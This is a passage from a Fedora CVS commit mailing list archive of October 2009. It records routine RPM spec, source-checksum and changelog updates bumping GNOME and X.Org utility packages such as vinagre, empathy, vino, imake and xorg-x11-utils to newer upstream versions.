RCS file: /cvs/pkgs/rpms/vinagre/F-12/vinagre.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- vinagre.spec	23 Sep 2009 23:52:37 -0000	1.61
+++ vinagre.spec	19 Oct 2009 22:35:34 -0000	1.62
@@ -1,5 +1,5 @@
 Name:		vinagre
-Version:	2.28.0.1
+Version:	2.28.1
 Release:	1%{?dist}
 Summary:	VNC client for GNOME
 
@@ -155,6 +155,9 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-1
+- Update to 2.28.1
+
 * Wed Sep 23 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0.1-1
 - Update to 2.28.0.1
 



From bpepple at fedoraproject.org  Mon Oct 19 22:37:22 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Mon, 19 Oct 2009 22:37:22 +0000 (UTC)
Subject: rpms/empathy/devel .cvsignore, 1.40, 1.41 empathy.spec, 1.80,
	1.81 sources, 1.40, 1.41
Message-ID: <20091019223722.51D6911C00DC@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/empathy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14766

Modified Files:
	.cvsignore empathy.spec sources 
Log Message:
* Mon Oct 19 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.1-1
- Update to 2.28.1.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/devel/.cvsignore,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- .cvsignore	2 Oct 2009 19:31:38 -0000	1.40
+++ .cvsignore	19 Oct 2009 22:37:21 -0000	1.41
@@ -1 +1 @@
-empathy-2.28.0.1.tar.bz2
+empathy-2.28.1.tar.bz2


Index: empathy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/devel/empathy.spec,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- empathy.spec	13 Oct 2009 15:01:19 -0000	1.80
+++ empathy.spec	19 Oct 2009 22:37:21 -0000	1.81
@@ -13,8 +13,8 @@
 %global libchamplain_version    0.4
 
 Name:		empathy
-Version:	2.28.0.1
-Release:	2%{?dist}
+Version:	2.28.1
+Release:	1%{?dist}
 Summary:	Instant Messaging Client for GNOME
 
 Group:		Applications/Communications
@@ -244,6 +244,9 @@ fi
 %{python_sitearch}/empathy*.so
 
 %changelog
+* Mon Oct 19 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.1-1
+- Update to 2.28.1.
+
 * Tue Oct 13 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.0.1-2
 - Require tp-idle and tp-butterfly.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/devel/sources,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- sources	2 Oct 2009 19:31:38 -0000	1.40
+++ sources	19 Oct 2009 22:37:22 -0000	1.41
@@ -1 +1 @@
-a11420a2c3ae18c26026e729b479a15e  empathy-2.28.0.1.tar.bz2
+021a05da920055d514cc51c4a538377f  empathy-2.28.1.tar.bz2



From mclasen at fedoraproject.org  Mon Oct 19 22:39:53 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 22:39:53 +0000 (UTC)
Subject: rpms/vino/F-12 vino.spec,1.109,1.110
Message-ID: <20091019223953.5488711C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/vino/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15592

Modified Files:
	vino.spec 
Log Message:
2.28.1



Index: vino.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vino/F-12/vino.spec,v
retrieving revision 1.109
retrieving revision 1.110
diff -u -p -r1.109 -r1.110
--- vino.spec	28 Sep 2009 00:03:00 -0000	1.109
+++ vino.spec	19 Oct 2009 22:39:52 -0000	1.110
@@ -9,8 +9,8 @@
 
 Summary: A remote desktop system for GNOME
 Name: vino
-Version: 2.28.0
-Release: 3%{?dist}
+Version: 2.28.1
+Release: 1%{?dist}
 URL: http://www.gnome.org
 Source0: http://download.gnome.org/sources/vino/2.28/%{name}-%{version}.tar.bz2
 
@@ -54,7 +54,6 @@ connect to a running GNOME session using
 %prep
 %setup -q
 %patch0 -p1 -b .smclient
-%patch1 -p1 -b .restart-command
 
 autoreconf -i -f
 
@@ -132,6 +131,9 @@ fi
 %{_sysconfdir}/xdg/autostart/vino-server.desktop
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
+- Update to 2.28.1
+
 * Sun Sep 27 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-3
 - Even better, just rely on autostart
 



From ajax at fedoraproject.org  Mon Oct 19 22:52:21 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon, 19 Oct 2009 22:52:21 +0000 (UTC)
Subject: rpms/xorg-x11-server-utils/devel .cvsignore, 1.18, 1.19 sources,
	1.19, 1.20 xorg-x11-server-utils.spec, 1.50, 1.51
Message-ID: <20091019225221.E1CF311C00DC@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-server-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20601

Modified Files:
	.cvsignore sources xorg-x11-server-utils.spec 
Log Message:
* Mon Oct 19 2009 Adam Jackson <ajax at redhat.com> 7.4-14
- Drop xcmsdb, no one uses XCMS.
- rgb 1.0.3
- xgamma 1.0.3
- xhost 1.0.3
- xrefresh 1.0.3
- xsetroot 1.0.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/devel/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	13 Oct 2009 19:42:02 -0000	1.18
+++ .cvsignore	19 Oct 2009 22:52:20 -0000	1.19
@@ -19,3 +19,8 @@ iceauth-1.0.3.tar.bz2
 sessreg-1.0.5.tar.bz2
 xrdb-1.0.6.tar.bz2
 xmodmap-1.0.4.tar.bz2
+xgamma-1.0.3.tar.bz2
+rgb-1.0.3.tar.bz2
+xhost-1.0.3.tar.bz2
+xrefresh-1.0.3.tar.bz2
+xsetroot-1.0.3.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/devel/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	13 Oct 2009 19:42:02 -0000	1.19
+++ sources	19 Oct 2009 22:52:20 -0000	1.20
@@ -1,6 +1,5 @@
 255222b3ab3af671289a6b4844e9f393  rgb-1.0.1.tar.bz2
 8579d5f50ba7f0c4a5bf16b9670fea01  xcmsdb-1.0.1.tar.bz2
-f13ddedaa63a608d3b025d326f4f5b5d  xgamma-1.0.2.tar.bz2
 f746aba36f075ae4cae313d849a94f4e  xhost-1.0.2.tar.bz2
 626731003ec22a74ecf9e44ed098bbdf  xmodmap-1.0.3.tar.bz2
 1228f890f86148e4e6ae22aa73118cbb  xrefresh-1.0.2.tar.bz2
@@ -14,3 +13,8 @@ d074e79d380b031d2f60e4cd56538c93  xsetmo
 00e834c3cbfd990e9d7d5ddc834242df  sessreg-1.0.5.tar.bz2
 8dd881cd5a7dcb6e456549817f0fb475  xrdb-1.0.6.tar.bz2
 bbe021f812e0014a8ee3692317788119  xmodmap-1.0.4.tar.bz2
+e8a88bf1a18f35b724619849dca97f4f  xgamma-1.0.3.tar.bz2
+44ea16cc3104de6401bc74035f642357  rgb-1.0.3.tar.bz2
+c7f91b4a750d297f269c2a0a3206a1b2  xhost-1.0.3.tar.bz2
+8f4fafcfb77b3c6972cc44bb3f1c899c  xrefresh-1.0.3.tar.bz2
+cbda9b9b8da5af4614110883d5a276b8  xsetroot-1.0.3.tar.bz2


Index: xorg-x11-server-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/devel/xorg-x11-server-utils.spec,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- xorg-x11-server-utils.spec	13 Oct 2009 19:44:27 -0000	1.50
+++ xorg-x11-server-utils.spec	19 Oct 2009 22:52:20 -0000	1.51
@@ -5,26 +5,25 @@
 Summary: X.Org X11 X server utilities
 Name: xorg-x11-%{pkgname}
 Version: 7.4
-Release: 13%{?dist}
+Release: 14%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Source0:  http://www.x.org/pub/individual/app/iceauth-1.0.3.tar.bz2
-Source2:  http://www.x.org/pub/individual/app/rgb-1.0.1.tar.bz2
+Source2:  http://www.x.org/pub/individual/app/rgb-1.0.3.tar.bz2
 Source3:  http://www.x.org/pub/individual/app/sessreg-1.0.5.tar.bz2
-Source4:  http://www.x.org/pub/individual/app/xcmsdb-1.0.1.tar.bz2
-Source5:  http://www.x.org/pub/individual/app/xgamma-1.0.2.tar.bz2
-Source6:  http://www.x.org/pub/individual/app/xhost-1.0.2.tar.bz2
+Source5:  http://www.x.org/pub/individual/app/xgamma-1.0.3.tar.bz2
+Source6:  http://www.x.org/pub/individual/app/xhost-1.0.3.tar.bz2
 Source7:  http://www.x.org/pub/individual/app/xmodmap-1.0.4.tar.bz2
 Source8:  http://www.x.org/pub/individual/app/xrandr-1.3.0.tar.bz2
 Source9:  http://www.x.org/pub/individual/app/xrdb-1.0.6.tar.bz2
-Source10: http://www.x.org/pub/individual/app/xrefresh-1.0.2.tar.bz2
+Source10: http://www.x.org/pub/individual/app/xrefresh-1.0.3.tar.bz2
 Source11: http://www.x.org/pub/individual/app/xset-1.0.4.tar.bz2
 Source12: http://www.x.org/pub/individual/app/xsetmode-1.0.0.tar.bz2
 Source13: http://www.x.org/pub/individual/app/xsetpointer-1.0.1.tar.bz2
-Source14: http://www.x.org/pub/individual/app/xsetroot-1.0.2.tar.bz2
+Source14: http://www.x.org/pub/individual/app/xsetroot-1.0.3.tar.bz2
 Source15: http://www.x.org/pub/individual/app/xstdcmap-1.0.1.tar.bz2
 # NOTE: Each upstream tarball has its own "PatchN" section, taken from
 # multiplying the "SourceN" line times 100.  Please keep them in this
@@ -69,9 +68,9 @@ Utility to perform keystone adjustments 
 %endif
 
 %prep
-%setup -q -c %{name}-%{version} -a2 -a3 -a4 -a5 -a6 -a7 -a8 -a9 -a10 -a11 -a12 -a13 -a14 -a15
+%setup -q -c %{name}-%{version} -a2 -a3 -a5 -a6 -a7 -a8 -a9 -a10 -a11 -a12 -a13 -a14 -a15
 
-%patch1100 -p0 -b .datadir-rgbpath-fix
+#patch1100 -p0 -b .datadir-rgbpath-fix
 
 %build
 
@@ -131,7 +130,6 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/iceauth
 %{_bindir}/sessreg
 %{_bindir}/showrgb
-%{_bindir}/xcmsdb
 %{_bindir}/xgamma
 %{_bindir}/xhost
 %{_bindir}/xmodmap
@@ -148,7 +146,6 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/iceauth.1*
 %{_mandir}/man1/sessreg.1*
 %{_mandir}/man1/showrgb.1*
-%{_mandir}/man1/xcmsdb.1*
 %{_mandir}/man1/xgamma.1*
 %{_mandir}/man1/xhost.1*
 %{_mandir}/man1/xmodmap.1*
@@ -168,6 +165,14 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Mon Oct 19 2009 Adam Jackson <ajax at redhat.com> 7.4-14
+- Drop xcmsdb, no one uses XCMS.
+- rgb 1.0.3
+- xgamma 1.0.3
+- xhost 1.0.3
+- xrefresh 1.0.3
+- xsetroot 1.0.3
+
 * Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-13
 - iceauth 1.0.3
 - sessreg 1.0.5



From mclasen at fedoraproject.org  Mon Oct 19 22:52:58 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 22:52:58 +0000 (UTC)
Subject: rpms/vino/F-12 .cvsignore,1.53,1.54 sources,1.53,1.54
Message-ID: <20091019225258.885D711C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/vino/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20737

Modified Files:
	.cvsignore sources 
Log Message:
fix sources



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vino/F-12/.cvsignore,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- .cvsignore	23 Sep 2009 22:39:04 -0000	1.53
+++ .cvsignore	19 Oct 2009 22:52:58 -0000	1.54
@@ -1 +1 @@
-vino-2.28.0.tar.bz2
+vino-2.28.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vino/F-12/sources,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- sources	23 Sep 2009 22:39:04 -0000	1.53
+++ sources	19 Oct 2009 22:52:58 -0000	1.54
@@ -1 +1 @@
-de7874e503b0c4eaa48758620611c75c  vino-2.28.0.tar.bz2
+5cf3c006f0d0b5e0daa3b10bc94f0e0d  vino-2.28.1.tar.bz2



From ajax at fedoraproject.org  Mon Oct 19 22:55:33 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon, 19 Oct 2009 22:55:33 +0000 (UTC)
Subject: rpms/imake/devel .cvsignore, 1.9, 1.10 imake.spec, 1.35,
	1.36 sources, 1.8, 1.9 xorg-cf-files-1.0.2-redhat.patch, 1.1,
	1.2 xorg-cf-files-1.0.2-xprint.patch, 1.1, 1.2
Message-ID: <20091019225533.1478D11C00DC@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/imake/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21545

Modified Files:
	.cvsignore imake.spec sources xorg-cf-files-1.0.2-redhat.patch 
	xorg-cf-files-1.0.2-xprint.patch 
Log Message:
* Mon Oct 19 2009 Adam Jackson <ajax at redhat.com> 1.0.2-12
- xorg-cf-files 1.0.3.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/imake/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	13 Oct 2009 19:49:54 -0000	1.9
+++ .cvsignore	19 Oct 2009 22:55:31 -0000	1.10
@@ -4,3 +4,4 @@ lndir-1.0.1.tar.bz2
 xorg-cf-files-1.0.2.tar.bz2
 makedepend-1.0.1.tar.bz2
 makedepend-1.0.2.tar.bz2
+xorg-cf-files-1.0.3.tar.bz2


Index: imake.spec
===================================================================
RCS file: /cvs/pkgs/rpms/imake/devel/imake.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- imake.spec	13 Oct 2009 19:49:54 -0000	1.35
+++ imake.spec	19 Oct 2009 22:55:31 -0000	1.36
@@ -1,7 +1,7 @@
 Summary: imake source code configuration and build system
 Name: imake
 Version: 1.0.2
-Release: 11%{?dist}
+Release: 12%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
@@ -10,7 +10,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 Source0: ftp://ftp.x.org/pub/individual/util/imake-1.0.2.tar.bz2
 Source1: ftp://ftp.x.org/pub/individual/util/makedepend-1.0.2.tar.bz2
 Source2: ftp://ftp.x.org/pub/individual/util/gccmakedep-1.0.2.tar.bz2
-Source3: ftp://ftp.x.org/pub/individual/util/xorg-cf-files-1.0.2.tar.bz2
+Source3: ftp://ftp.x.org/pub/individual/util/xorg-cf-files-1.0.3.tar.bz2
 Source4: ftp://ftp.x.org/pub/individual/util/lndir-1.0.1.tar.bz2
 Patch0: xorg-cf-files-1.0.0-misc.patch
 Patch1: xorg-cf-files-1.0.0-ProjectRoot.patch
@@ -119,6 +119,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/xmkmf.1x*
 
 %changelog
+* Mon Oct 19 2009 Adam Jackson <ajax at redhat.com> 1.0.2-12
+- xorg-cf-files 1.0.3.3.3
+
 * Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.2-11
 - makedepend 1.0.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/imake/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	13 Oct 2009 19:49:54 -0000	1.8
+++ sources	19 Oct 2009 22:55:32 -0000	1.9
@@ -1,6 +1,5 @@
 b533c0771dbbaf9b041ff35bb941d3a2  gccmakedep-1.0.2.tar.bz2
 02fea5a02ba2857c7d81820c8e8b8e6f  imake-1.0.2.tar.bz2
 e274ea9f55dfd62afa0a7b1e1ab4ba96  lndir-1.0.1.tar.bz2
-5f62dd5545b782c74f6e4e70d0e6552c  xorg-cf-files-1.0.2.tar.bz2
-54ab2549d723e51ff2b9cff4d8bf44d1  makedepend-1.0.1.tar.bz2
 62e58330fe8d1e3e28c7a45779833a48  makedepend-1.0.2.tar.bz2
+10546b5ddda3cdda7950bb56bf98e0ea  xorg-cf-files-1.0.3.tar.bz2

xorg-cf-files-1.0.2-redhat.patch:
 linux.cf |    8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

Index: xorg-cf-files-1.0.2-redhat.patch
===================================================================
RCS file: /cvs/pkgs/rpms/imake/devel/xorg-cf-files-1.0.2-redhat.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- xorg-cf-files-1.0.2-redhat.patch	18 Jul 2006 06:24:30 -0000	1.1
+++ xorg-cf-files-1.0.2-redhat.patch	19 Oct 2009 22:55:32 -0000	1.2
@@ -1,5 +1,5 @@
---- xorg-cf-files-1.0.2/linux.cf.redhat	2005-10-21 21:10:27.000000000 +0200
-+++ xorg-cf-files-1.0.2/linux.cf	2005-12-21 11:27:16.000000000 +0100
+--- xorg-cf-files-1.0.3/linux.cf.redhat	2005-10-21 21:10:27.000000000 +0200
++++ xorg-cf-files-1.0.3/linux.cf	2005-12-21 11:27:16.000000000 +0100
 @@ -190,7 +190,13 @@
  #endif /* LinuxDebian */
  

xorg-cf-files-1.0.2-xprint.patch:
 X11.tmpl |   18 +++---------------
 1 file changed, 3 insertions(+), 15 deletions(-)

Index: xorg-cf-files-1.0.2-xprint.patch
===================================================================
RCS file: /cvs/pkgs/rpms/imake/devel/xorg-cf-files-1.0.2-xprint.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- xorg-cf-files-1.0.2-xprint.patch	18 Jul 2006 06:24:30 -0000	1.1
+++ xorg-cf-files-1.0.2-xprint.patch	19 Oct 2009 22:55:32 -0000	1.2
@@ -1,5 +1,5 @@
---- xorg-cf-files-1.0.2/X11.tmpl.xprint	2005-10-01 12:45:48.000000000 -0400
-+++ xorg-cf-files-1.0.2/X11.tmpl	2006-04-25 20:24:02.000000000 -0400
+--- xorg-cf-files-1.0.3/X11.tmpl.xprint	2005-10-01 12:45:48.000000000 -0400
++++ xorg-cf-files-1.0.3/X11.tmpl	2006-04-25 20:24:02.000000000 -0400
 @@ -3920,21 +3920,13 @@
  #endif
  



From ajax at fedoraproject.org  Mon Oct 19 22:58:59 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon, 19 Oct 2009 22:58:59 +0000 (UTC)
Subject: rpms/xorg-x11-utils/devel .cvsignore, 1.9, 1.10 sources, 1.12,
	1.13 xorg-x11-utils.spec, 1.28, 1.29
Message-ID: <20091019225859.5426311C00DC@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22960

Modified Files:
	.cvsignore sources xorg-x11-utils.spec 
Log Message:
* Mon Oct 19 2009 Adam Jackson <ajax at redhat.com> 7.4-8
- xdpyinfo 1.1.0
- xlsclients 1.0.2
- xvinfo 1.1.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-utils/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	13 Oct 2009 20:16:33 -0000	1.9
+++ .cvsignore	19 Oct 2009 22:58:59 -0000	1.10
@@ -13,3 +13,6 @@ xev-1.0.4.tar.bz2
 xlsatoms-1.0.2.tar.bz2
 xprop-1.1.0.tar.bz2
 xwininfo-1.0.5.tar.bz2
+xdpyinfo-1.1.0.tar.bz2
+xlsclients-1.0.2.tar.bz2
+xvinfo-1.1.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-utils/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	13 Oct 2009 20:16:33 -0000	1.12
+++ sources	19 Oct 2009 22:58:59 -0000	1.13
@@ -1,8 +1,8 @@
-44473b880d26bfbe8b3d4d72b183cba7  xlsclients-1.0.1.tar.bz2
 28958248590ff60ecd70e8f590d977b7  xlsfonts-1.0.2.tar.bz2
-e1e318436f49e2f0f3764593dadd9ad2  xvinfo-1.0.2.tar.bz2
-b7cbab6cbcd12bf7ad65dbc12d86e104  xdpyinfo-1.0.3.tar.bz2
 5f98c0a2725a33d60ef4956befe078fb  xev-1.0.4.tar.bz2
 dc8b420bbfa35091ea30edf57c952ec2  xlsatoms-1.0.2.tar.bz2
 f0bacbd30f0dd1c1e9ccafe97687b7a4  xprop-1.1.0.tar.bz2
 908f8bc3255f639effa9780fb1c19ea4  xwininfo-1.0.5.tar.bz2
+d1d516610316138105cd07064b257c5c  xdpyinfo-1.1.0.tar.bz2
+df270f7dd5528ae1b7d80c47585d8278  xlsclients-1.0.2.tar.bz2
+8cc299b2cb636b5f7fe672610789d3d4  xvinfo-1.1.0.tar.bz2


Index: xorg-x11-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-utils/devel/xorg-x11-utils.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- xorg-x11-utils.spec	13 Oct 2009 20:16:33 -0000	1.28
+++ xorg-x11-utils.spec	19 Oct 2009 22:58:59 -0000	1.29
@@ -3,19 +3,19 @@
 Summary: X.Org X11 X client utilities
 Name: xorg-x11-%{pkgname}
 Version: 7.4
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-Source0:  ftp://ftp.x.org/pub/individual/app/xdpyinfo-1.0.3.tar.bz2
+Source0:  ftp://ftp.x.org/pub/individual/app/xdpyinfo-1.1.0.tar.bz2
 Source2:  ftp://ftp.x.org/pub/individual/app/xev-1.0.4.tar.bz2
 Source5:  ftp://ftp.x.org/pub/individual/app/xlsatoms-1.0.2.tar.bz2
-Source6:  ftp://ftp.x.org/pub/individual/app/xlsclients-1.0.1.tar.bz2
+Source6:  ftp://ftp.x.org/pub/individual/app/xlsclients-1.0.2.tar.bz2
 Source7:  ftp://ftp.x.org/pub/individual/app/xlsfonts-1.0.2.tar.bz2
 Source8:  ftp://ftp.x.org/pub/individual/app/xprop-1.1.0.tar.bz2
-Source9:  ftp://ftp.x.org/pub/individual/app/xvinfo-1.0.2.tar.bz2
+Source9:  ftp://ftp.x.org/pub/individual/app/xvinfo-1.1.0.tar.bz2
 Source10: ftp://ftp.x.org/pub/individual/app/xwininfo-1.0.5.tar.bz2
 
 BuildRequires: pkgconfig(dmx) pkgconfig(gl) pkgconfig(xext) pkgconfig(xft)
@@ -78,6 +78,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/xwininfo.1*
 
 %changelog
+* Mon Oct 19 2009 Adam Jackson <ajax at redhat.com> 7.4-8
+- xdpyinfo 1.1.0
+- xlsclients 1.0.2
+- xvinfo 1.1.0
+
 * Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-7
 - xev 1.0.4
 - xlsatoms 1.0.2



From mclasen at fedoraproject.org  Mon Oct 19 23:00:20 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 23:00:20 +0000 (UTC)
Subject: rpms/devhelp/F-12 .cvsignore, 1.26, 1.27 devhelp.spec, 1.117,
	1.118 sources, 1.26, 1.27
Message-ID: <20091019230020.1BF7211C029A@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/devhelp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23791

Modified Files:
	.cvsignore devhelp.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/devhelp/F-12/.cvsignore,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- .cvsignore	22 Sep 2009 03:09:58 -0000	1.26
+++ .cvsignore	19 Oct 2009 23:00:19 -0000	1.27
@@ -1 +1 @@
-devhelp-2.28.0.tar.bz2
+devhelp-2.28.1.tar.bz2


Index: devhelp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/devhelp/F-12/devhelp.spec,v
retrieving revision 1.117
retrieving revision 1.118
diff -u -p -r1.117 -r1.118
--- devhelp.spec	24 Sep 2009 01:35:41 -0000	1.117
+++ devhelp.spec	19 Oct 2009 23:00:19 -0000	1.118
@@ -5,7 +5,7 @@
 ### Abstract ###
 
 Name: devhelp
-Version: 2.28.0
+Version: 2.28.1
 Release: 1%{?dist}
 License: GPLv2+
 Group: Development/Tools
@@ -141,6 +141,9 @@ fi
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
+- Update to 2.28.1
+
 * Mon Sep 21 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/devhelp/F-12/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	22 Sep 2009 03:09:58 -0000	1.26
+++ sources	19 Oct 2009 23:00:19 -0000	1.27
@@ -1 +1 @@
-43de66cd3a0ce498aa78a5e3f97395c5  devhelp-2.28.0.tar.bz2
+b9ec14ddf74c4b9924da77b62c345cf8  devhelp-2.28.1.tar.bz2



From ajax at fedoraproject.org  Mon Oct 19 23:04:09 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon, 19 Oct 2009 23:04:09 +0000 (UTC)
Subject: rpms/xorg-x11-xkb-utils/devel .cvsignore, 1.16, 1.17 sources, 1.14, 
	1.15 xorg-x11-xkb-utils.spec, 1.31, 1.32
Message-ID: <20091019230409.C8FE711C00DC@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-xkb-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25286

Modified Files:
	.cvsignore sources xorg-x11-xkb-utils.spec 
Log Message:
* Mon Oct 19 2009 Adam Jackson <ajax at redhat.com> 7.4-7
- xkbevd 1.1.0
- xkbutils 1.0.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-xkb-utils/devel/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	7 Oct 2009 17:38:15 -0000	1.16
+++ .cvsignore	19 Oct 2009 23:04:09 -0000	1.17
@@ -4,3 +4,5 @@ xkbutils-1.0.1.tar.bz2
 xkbcomp-1.1.0.tar.bz2
 setxkbmap-1.1.0.tar.bz2
 xkbcomp-1.1.1.tar.bz2
+xkbevd-1.1.0.tar.bz2
+xkbutils-1.0.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-xkb-utils/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	7 Oct 2009 17:38:15 -0000	1.14
+++ sources	19 Oct 2009 23:04:09 -0000	1.15
@@ -1,6 +1,5 @@
-68f2a143716c23b566f8509d9498f516  xkbevd-1.0.2.tar.bz2
 b98ae2d8b21c545b7b322d0b302efefa  xkbprint-1.0.1.tar.bz2
-84396a3dd75337caaae29d8fa5616fb1  xkbutils-1.0.1.tar.bz2
-362380be3b3bed56c9ce45622eafc2c9  xkbcomp-1.1.0.tar.bz2
 2f902e0a89aaf2b19e06e7f26c6efb3a  setxkbmap-1.1.0.tar.bz2
 38c387bacdc01038c8ac280588792bcf  xkbcomp-1.1.1.tar.bz2
+8d3c1485c2dd62ea7395a37377958a39  xkbevd-1.1.0.tar.bz2
+369a21641b7ca983d6641298e51d97f8  xkbutils-1.0.2.tar.bz2


Index: xorg-x11-xkb-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-xkb-utils/devel/xorg-x11-xkb-utils.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- xorg-x11-xkb-utils.spec	7 Oct 2009 17:38:15 -0000	1.31
+++ xorg-x11-xkb-utils.spec	19 Oct 2009 23:04:09 -0000	1.32
@@ -1,17 +1,17 @@
 Summary: X.Org X11 xkb utilities
 Name: xorg-x11-xkb-utils
 Version: 7.4
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # use the macro so the doc dir is changed automagically
